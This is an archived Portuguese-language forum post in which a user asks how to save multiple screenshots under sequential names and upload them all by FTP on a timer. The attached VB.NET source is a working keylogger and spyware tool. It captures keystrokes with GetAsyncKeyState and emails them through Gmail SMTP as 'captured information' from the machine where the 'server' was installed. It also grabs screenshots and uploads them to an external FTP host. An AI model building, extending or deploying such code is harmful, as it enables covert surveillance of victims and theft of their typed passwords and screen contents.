Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Stereo

Como salvar várias imagens com mesmo nome e enviar por FTP

Recommended Posts

Bom dia pessoal, gostaria de salvar várias imagens com o mesmo nome, exemplo: Foto1,Foto2,Foto3. E também gostaria de envia-las por ftp com um timer, mas que envie todas.

 

Código todo:

 

Imports System.Net.Mail

Imports System.Net
Imports System.IO
Imports System.Threading
Imports System.Management

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal tecla As Keys) As Keys




Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
System.IO.Directory.CreateDirectory("C:\WindowsConfig")





For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("EMAIL")
MyMailMessage.To.Add("EMAIL")
MyMailMessage.Subject = ("Informações Capturadas")
MyMailMessage.Body = "Olá, segue abaixo as informações capturadas no computador em que foi instalado o server: " + RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("EMAIL", "SENHA")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load





End Sub

Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("ftp://a9964736@server9.000webhost.com/img/form.jpg")
ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA")
ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg")
Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
ftpStream.Write(ficheiro, 0, ficheiro.Length)
ftpStream.Close()
ftpStream.Dispose()

End Sub






Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Dim k As Long
k = Shell("c:\windows\system32\taskmgr.exe", vbHide)

SendKeys.SendWait("^({PRTSC})")
My.Computer.Clipboard.GetImage.Save("C:\Folder\form.jpg")






End Sub
Function sendFile2FTP(ByVal fileNameLocal As String, ByVal fileNameServer As String, ByVal user As String, ByVal password As String) As String
Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer)
ftpRequest.Credentials = New Net.NetworkCredential(user, password)
ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
Try
Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal)
Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
ftpStream.Write(ficheiro, 0, ficheiro.Length)
ftpStream.Close()
ftpStream.Dispose()
Return "True"
Catch ex As Exception
Return ex.Message
End Try
End Function

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
End Sub


End Class

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.